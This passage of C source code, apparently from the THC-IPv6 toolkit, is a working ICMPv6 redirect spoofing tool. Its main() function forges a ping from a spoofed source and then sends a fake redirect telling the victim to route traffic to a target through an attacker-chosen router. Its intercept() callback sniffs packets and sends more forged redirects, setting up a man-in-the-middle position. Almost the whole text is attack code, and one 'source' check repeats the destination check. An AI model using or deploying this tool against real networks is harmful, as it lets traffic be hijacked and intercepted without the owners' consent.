void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { char *ptr, *ptr2; // packet is to the real router, and is not from us? if (memcmp(realownmac, data + 6, 6) == 0 || memcmp(fakemac, data, 6) != 0) return; // check that source and dest are routed // same network? if (memcmp(data + 14 + 8, data + 14 + 8 + 16, 8) == 0) return; // dst fe.. or ff.. or 00? if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0) return; // src fe.. or ff.. or 00? if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0) return; if (src6 != NULL) { // victim wildcard? if not, check src if (memcmp(src6, data + 14 + 8, 16) != 0) return; } else { // victim wildcard - we have to ensure that the source is local -> hop count! if (data[14 + 7] != 64 && data[14 + 7] != 128 && data[14 + 7] != 255) return; } if (dest6 != NULL) // destination wildcard? if not, check dst if (memcmp(dest6, data + 14 + 8 + 16, 16) != 0) return; thc_redir6(interface, oldrouter6, fakemac, (unsigned char*)data + 6, newrouter6, mac6, (unsigned char*)data + 14, header->caplen - 14); ptr = thc_ipv62notation((unsigned char*)data + 14 + 8); ptr2 = thc_ipv62notation((unsigned char*)data + 14 + 8 + 16); printf("Sent ICMPv6 redirect for %s -> %s\n", ptr, ptr2); free(ptr); free(ptr2); }
int main(int argc, char *argv[]) { unsigned char *pkt = NULL, buf[16], mac[16] = ""; unsigned char *mac6 = mac, *src6, *target6, *oldrouter6, *newrouter6, *self6, *fakemac; thc_ipv6_hdr *ipv6; char *interface; int pkt_len, rawmode = 0, ttl = 64, offset = 14; if (argc < 6 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (do_hdr_size) offset = do_hdr_size; interface = argv[1]; src6 = thc_resolve6(argv[2]); target6 = thc_resolve6(argv[3]); oldrouter6 = thc_resolve6(argv[4]); if ((newrouter6 = thc_resolve6(argv[5])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[5]); exit(-1); } if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } /* Spoof source mac */ if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: could not get own IP address to contact original-router\n"); exit(-1); } if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) { fprintf(stderr, "Error: could not resolve mac address for original-router\n"); free(self6); exit(-1); } if (rawmode == 0) { if (argc >= 7) sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); else mac6 = thc_get_own_mac(interface); } if (argc >= 8) ttl = atoi(argv[7]); if (ttl <= 0 || ttl > 255) ttl = 64; memset(buf, 'A', 16); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, target6, src6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *) &buf, 16, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } usleep(25000); ipv6 = (thc_ipv6_hdr *) pkt; thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); ipv6->pkt[offset + 7] = (unsigned char) ttl; thc_redir6(interface, oldrouter6, fakemac, NULL, newrouter6, mac6, ipv6->pkt + 14, ipv6->pkt_len - 14); printf("Sent ICMPv6 redirect for %s\n", argv[3]); free(self6); free(fakemac); return 0; }